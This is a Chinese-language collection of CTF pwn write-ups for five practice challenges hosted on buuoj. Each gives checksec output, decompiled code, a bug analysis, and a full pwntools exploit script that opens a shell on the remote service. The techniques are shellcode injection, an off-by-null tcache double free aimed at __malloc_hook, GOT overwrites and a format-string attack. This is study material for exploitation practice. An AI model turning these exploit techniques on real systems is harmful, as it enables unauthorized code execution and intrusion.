[BSidesCF 2019]Runit
[BSidesCF 2019]Runit$ file runit;checksec runit
runit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdd5061644dc69c2e4f2a0e98091901b4591be57, not stripped
[*] '/home/pwn/桌面/[BSidesCF 2019]Runit/runit'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]
buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Send me stuff!!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Error reading!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}
发现是mmap申请的buf, 所以NX保护没啥意义, 直接shellcode即可
from pwn import *
url, port = "node4.buuoj.cn", 28520
filename = "./runit"
elf = ELF(filename)
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
payload = asm(shellcraft.sh())
io.sendlineafter('Send me stuff!!\n', payload)
if __name__ == "__main__":
pwn()
io.interactive()
hitcon_2018_children_tcache
hitcon_2018_children_tcache$ file HITCON_2018_children_tcache;checksec HITCON_2018_children_tcache
HITCON_2018_children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped
[*] '/home/pwn/桌面/hitcon_2018_children_tcache/HITCON_2018_children_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax
sub_AEB();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = choice(a1, a2);
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
a1 = (__int64)"Invalid Choice";
puts("Invalid Choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
add的读取函数
_BYTE *__fastcall sub_BC8(__int64 s, unsigned int size)
{
_BYTE *result; // rax
int chk; // [rsp+1Ch] [rbp-4h]
chk = __read_chk(0LL, s, size, size);
if ( chk <= 0 )
{
puts("read error");
_exit(1);
}
result = (_BYTE *)*(unsigned __int8 *)(chk - 1LL + s);
if ( (_BYTE)result == 10 )
{
result = (_BYTE *)(chk - 1LL + s);
*result = 0;
}
return result;
}
add
unsigned __int64 add()
{
int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s[8216]; // [rsp+20h] [rbp-2020h] BYREF
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = choice();
if ( size > 0x2000 )
exit(-2);
dest = (char *)malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
sub_BC8(s, (unsigned int)size);
strcpy(dest, s);
qword_202060[i] = dest;
qword_2020C0[i] = size;
return __readfsqword(0x28u) ^ v5;
}
存在off-by-one漏洞, strcpy之后多出一个字节null
delete函数
int delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = choice();
if ( v1 > 9 )
exit(-3);
if ( *((_QWORD *)&qword_202060 + v1) )
{
memset(*((void **)&qword_202060 + v1), 218, qword_2020C0[v1]);
free(*((void **)&qword_202060 + v1));
*((_QWORD *)&qword_202060 + v1) = 0LL;
qword_2020C0[v1] = 0LL;
}
return puts(":)");
}
虽然没有UAF, 但是tcache不检查free的chunk是否相同, 所以依然存在double free (double free通过主结构体的两个指向同一个chunk的指针完成, 需要先布局堆
漏洞利用: off-by-one(off-by-null)做堆风水, unsorted bin attack泄露libc基址, 再tcache attack double free打__malloc_hook到one gadget
(堆布局细节写在注释里了, 总结起来就是构造 tcache bin 和 unsorted bin 的chunk重叠, 堆风水的过程要多调试才能理解
from pwn import *
url, port = "node4.buuoj.cn", 28415
filename = "./HITCON_2018_children_tcache"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, content):
io.sendlineafter('Your choice: ', '1')
io.sendlineafter('Size:', str(size))
io.sendafter('Data:', content)
def show(idx):
io.sendlineafter('Your choice: ', '2')
io.sendlineafter('Index:', str(idx))
def delete(idx):
io.sendlineafter('Your choice: ', '3')
io.sendlineafter('Index:', str(idx))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn():
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
add(0x500, 'chunk0') # ptr0
add(0x68, 'chunk1') # ptr1
add(0x5f0, 'chunk2') # ptr2
add(0x20, 'chunk3') # divide chunks from top chunk
delete(1)
delete(0)
# B()
for i in range(9): # downcount size adding sets presize of chunk2 to 0
add(0x68 - i, cyclic(0x68 - i))
delete(0)
# B()
add(0x68, cyclic(0x60) + p64(0x580)) # ptr0(points to tcache chunk): forge chunk0 to 0x70 + 0x510 = 0x580
delete(2) # merge chunk0 and chunk2 get 0x580 + 0x600 = 0xb80 unsorted bin chunk
add(0x508, 'chunk4') # ptr1: depart chunk0 from unsorted bin 0xb80 - 0x510 = 0x670
# tcache bin and unsorted bin remaining chunk share the same address
# now tcache ptr0 points to unsorted bin chunk, and the fd is main_arena + 96
# B()
show(0) # unsorted bin attack leak libc
malloc_hook_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x70
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
one_gadget = libc_base + one_gadgets[1]
lf('libc base address', libc_base)
lf('one gadget address', one_gadget)
add(0x68, 'chunk5') # ptr2: depart tcache chunk from unsorted bin remaining chunk
delete(0) # ptr0 and ptr2
delete(2) # point to the same chunk, double free
add(0x68, p64(malloc_hook_addr))
add(0x68, 'whatever')
add(0x68, p64(one_gadget))
io.sendlineafter('Your choice: ', '1')
io.sendlineafter('Size:', '233')
if __name__ == "__main__":
pwn()
io.interactive()
lctf2016_pwn200
lctf2016_pwn200$ file pwn200;checksec pwn200
pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped
[*] '/home/pwn/桌面/lctf2016_pwn200/pwn200'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h] BYREF
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}
这里可以泄露buf地址(输入非'\n'
结尾的字符串, 可以打印栈帧), 通过main_ebp计算buf (偏移通过调试看栈帧确定
__int64 sub_400A29()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
return sub_4009C4();
}
strcpy栈溢出, buf可以溢出到dest指针地址处, 修改dest指针
漏洞利用: 先劫持dest指针到free@got, 而后打free@got到shellcode执行
from pwn import *
url, port = "node4.buuoj.cn", 28998
filename = "./pwn200"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def pwn():
free_got = elf.got['free']
shellcode = asm(shellcraft.sh()).ljust(48, b'\x0f')
io.sendafter('u?\n', shellcode)
main_ebp = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
shellcode_addr = main_ebp - 0x50
lf('main ebp address', main_ebp)
lf('shellcode address', shellcode_addr)
io.sendline('0')
payload = p64(shellcode_addr).ljust(0x38, b'\x00') + p64(free_got)
io.send(payload)
io.sendlineafter('choice :', '2')
if __name__ == "__main__":
pwn()
io.interactive()
ciscn_2019_sw_1
ciscn_2019_sw_1$ file ciscn_2019_sw_1; checksec ciscn_2019_sw_1
ciscn_2019_sw_1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5c0ab0fee41a1b981230014b04c67a2ca0aa51c, not stripped
[*] '/home/pwn/桌面/ciscn_2019_sw_1/ciscn_2019_sw_1'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
fmt漏洞
程序在结束的时候会调用fini.array
函数指针数组中的每一个回调函数
还因为给了system, 所以都不需要泄露libc
把printf@got改成system地址, 并且将fini.array[0]
改成main地址, 重复利用printf函数, 第二次输入/bin/sh
from pwn import *
url, port = "node4.buuoj.cn", 25559
filename = "./ciscn_2019_sw_1"
elf = ELF(filename)
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
# print(len("%2052c%xx$hn%31692c%xx$hn%356c%xx$hn")) # 36 / 4 = 9, 9 + 3 = 12
io.sendlineafter("What's your name?\n", payload)
io.sendlineafter("What's your name?\n", '/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
suctf_2018_stack
suctf_2018_stack$ file SUCTF_2018_stack;checksec SUCTF_2018_stack
SUCTF_2018_stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b2842040168e718fe077a170b5ad273fbb0d28d6, not stripped
[*] '/home/pwn/桌面/suctf_2018_stack/SUCTF_2018_stack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts(" ____ _ _ ____ _____ _____ ");
puts("/ ___|| | | |/ ___|_ _| ___|");
puts("\\___ \\| | | | | | | | |_ ");
puts(" ___) | |_| | |___ | | | _| ");
puts("|____/ \\___/ \\____| |_| |_| ");
puts(" ");
puts("============================");
return read(0, buf, 0x30uLL);
}
ret2text, ubuntu18, 0x10对齐栈
from pwn import *
url, port = "node4.buuoj.cn", 25984
context(arch="amd64", os="linux")
io = remote(url, port)
def pwn():
back_door = 0x0000000000400676 + 1
payload = cyclic(0x20 + 8) + p64(back_door)
io.sendline(payload)
if __name__ == "__main__":
pwn()
io.interactive()